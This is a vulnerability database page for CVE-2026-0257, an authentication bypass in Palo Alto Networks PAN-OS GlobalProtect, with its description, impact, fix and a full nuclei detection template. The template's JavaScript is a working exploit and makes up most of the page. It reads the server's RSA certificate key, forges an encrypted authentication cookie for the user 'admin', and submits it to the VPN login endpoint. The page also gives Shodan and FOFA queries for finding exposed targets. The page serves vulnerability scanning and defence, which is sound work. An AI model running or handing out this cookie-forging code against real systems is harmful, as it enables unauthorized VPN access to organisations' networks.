HexBrain

Browse / CVEs / CVE-2026-0257

CVE-2026-0257· paloaltonetworks / pan-os· CWE-565

Palo Alto Networks PAN-OS - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-05-29; known to be used by ransomware.

criticalseverity
9.1CVSS score
95.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.

Impact

Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.

Fix

Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.

How to confirm it

Send: GET {{BaseURL}}/global-protect/login.esp ; GET {{BaseURL}}/sslmgr
Positive when: status_code != 0 and contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "<msg>Invalid parameters</msg>") || contains(tolower(header), "panweb")
Positive when: success == true and contains(response, 'GlobalProtect auth bypass confirmed')

Run it with nuclei: nuclei -id CVE-2026-0257 -u <target>

The full check
id: CVE-2026-0257

info:
  name: Palo Alto Networks PAN-OS - Authentication Bypass
  author: dhiyaneshdk,sfewer-r7
  severity: critical
  description: |
    Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
  impact: |
    Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.
  remediation: |
    Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.
  reference:
    - https://security.paloaltonetworks.com/CVE-2026-0257
    - https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/
    - https://github.com/sfewer-r7/CVE-2026-0257
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0257
    epss-score: 0.95642
    epss-percentile: 0.9987
    cwe-id: CWE-565
  metadata:
    verified: true
    max-request: 12
    vendor: paloaltonetworks
    product: pan-os
    shodan-query: http.title:"GlobalProtect" port:443
    fofa-query: title="GlobalProtect"
  tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical

flow: http(1) && javascript(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
      - "{{BaseURL}}/sslmgr"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code != 0"
          - 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "<msg>Invalid parameters</msg>") || contains(tolower(header), "panweb")'
        condition: and

javascript:
  - args:
      Host: "{{Host}}"
      Hostname: "{{Hostname}}"
    code: |
      let net = require("nuclei/net");
      let host = Host;
      let parts = Hostname.split(":");
      let port = parts.length > 1 ? parts[parts.length - 1] : "443";
      let user = "admin";

      function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); }
      function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); }
      function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); }
      function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; }
      function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; }

      function b64(a) {
        let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (let i = 0; i < a.length; i += 3) {
          let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i;
          r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)];
          r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "=";
          r += n > 2 ? T[z & 0x3f] : "=";
        }
        return r;
      }

      function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; }
      function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; }
      function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; }

      function buildHello(hostname) {
        let hb = str2b(hostname), ext = [];
        let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb);
        let sl = []; u16(sl, sn.length); cat(sl, sn);
        u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl);
        let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01];
        let sb = []; u16(sb, sa.length); cat(sb, sa);
        u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb);
        let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19];
        let gb = []; u16(gb, gr.length); cat(gb, gr);
        u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb);
        u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00);
        let body = []; body.push(0x03, 0x03);
        let ts = Math.floor(Date.now() / 1000);
        body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff);
        for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256));
        body.push(0x00);
        let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff];
        u16(body, cs.length); cat(body, cs);
        body.push(0x01, 0x00);
        u16(body, ext.length); cat(body, ext);
        let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body);
        let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs);
        return rec;
      }

      function parseCerts(data) {
        let hs = [], i = 0;
        while (i + 5 <= data.length) {
          let t = data[i], rl = (data[i + 3] << 8) | data[i + 4];
          if (i + 5 + rl > data.length) break;
          if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]);
          i += 5 + rl;
        }
        let certs = [], j = 0;
        while (j + 4 <= hs.length) {
          let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3];
          if (j + 4 + hl > hs.length) break;
          if (ht === 11) {
            let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl);
            while (k + 3 <= end) {
              let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2];
              if (k + 3 + cl > end) break;
              certs.push(hs.slice(k + 3, k + 3 + cl));
              k += 3 + cl;
            }
            break;
          }
          j += 4 + hl;
        }
        return certs;
      }

      function hasDone(d) {
        for (let i = 0; i + 5 <= d.length;) {
          let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4];
          if (i + 5 + rl > d.length) break;
          if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) {
            if (d[j] === 14) return true;
            j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]);
          }
          i += 5 + rl;
        }
        return false;
      }

      function rdTL(d, p) {
        let tag = d[p++], len = d[p++];
        if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; }
        return { tag: tag, len: len, pos: p };
      }

      function getRSAKey(der) {
        let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p);
        if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); }
        p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos;
        r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len);
        let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01];
        if (oid.length !== rsaOid.length) return null;
        for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null;
        p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos;
        r = rdTL(der, p); let ms = r.pos, ml = r.len;
        if (der[ms] === 0 && ml > 1) { ms++; ml--; }
        let modB = der.slice(ms, ms + ml); p = r.pos + r.len;
        r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len);
        return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length };
      }

      function forge(n, e, kl, username) {
        let ts = Math.floor(Date.now() / 1000).toString();
        let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0");
        let padLen = kl - pt.length - 3;
        if (padLen < 8) return "";
        let em = [0x00, 0x02];
        for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1);
        em.push(0x00); cat(em, pt);
        return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl));
      }

      function encodeCookie(cookie) {
        return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D");
      }

      function testCookie(cookieB64, context) {
        let cookieEnc = encodeCookie(cookieB64);
        let body = "prot=https&server=" + host +
          "&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" +
          "&user=" + user + "&passwd=&context=" + context +
          "&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" +
          "&os-version=Microsoft+Windows+10+Pro+64-bit" +
          "&portal-userauthcookie=" + cookieEnc +
          "&portal-prelogonuserauthcookie=";
        let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" +
          "Host: " + host + "\r\n" +
          "Content-Type: application/x-www-form-urlencoded\r\n" +
          "User-Agent: GlobalProtect/6.0.0\r\n" +
          "Content-Length: " + body.length + "\r\n" +
          "Connection: close\r\n\r\n" + body;
        let conn = net.OpenTLS("tcp", host + ":" + port);
        conn.SetTimeout(10);
        conn.Send(req);
        let resp = conn.RecvFullString(0);
        conn.Close();
        return resp;
      }

      function isGatewaySuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<status>Success</status>") !== -1 ||
          (resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1);
      }

      function isPortalSuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1;
      }

      let result = "";
      try {
        let hello = buildHello(host);
        let conn = net.Open("tcp", host + ":" + port);
        conn.SetTimeout(5);
        conn.SendHex(toHex(hello));
        let raw = [];
        for (let a = 0; a < 10; a++) {
          try {
            let c = conn.Recv(32768);
            if (!c || c.length === 0) break;
            for (let i = 0; i < c.length; i++) raw.push(c[i]);
            if (hasDone(raw)) break;
          } catch (e) { break; }
        }
        conn.Close();

        let certs = parseCerts(raw);
        for (let i = 0; i < certs.length && result === ""; i++) {
          let key = null;
          try { key = getRSAKey(certs[i]); } catch (e) { continue; }
          if (!key) continue;
          let cookie = forge(key.n, key.e, key.kl, user);
          if (!cookie) continue;

          let gwResp = testCookie(cookie, "gateway");
          if (isGatewaySuccess(gwResp)) {
            result = "GlobalProtect auth bypass confirmed (gateway): " + user;
            break;
          }

          let portalResp = testCookie(cookie, "portal");
          if (isPortalSuccess(portalResp)) {
            result = "GlobalProtect auth bypass confirmed (portal): " + user;
            break;
          }
        }
      } catch (e) {}

      Export(result);

    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - "contains(response, 'GlobalProtect auth bypass confirmed')"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - response

References

Use this check only on systems you are authorised to test. Where the data comes from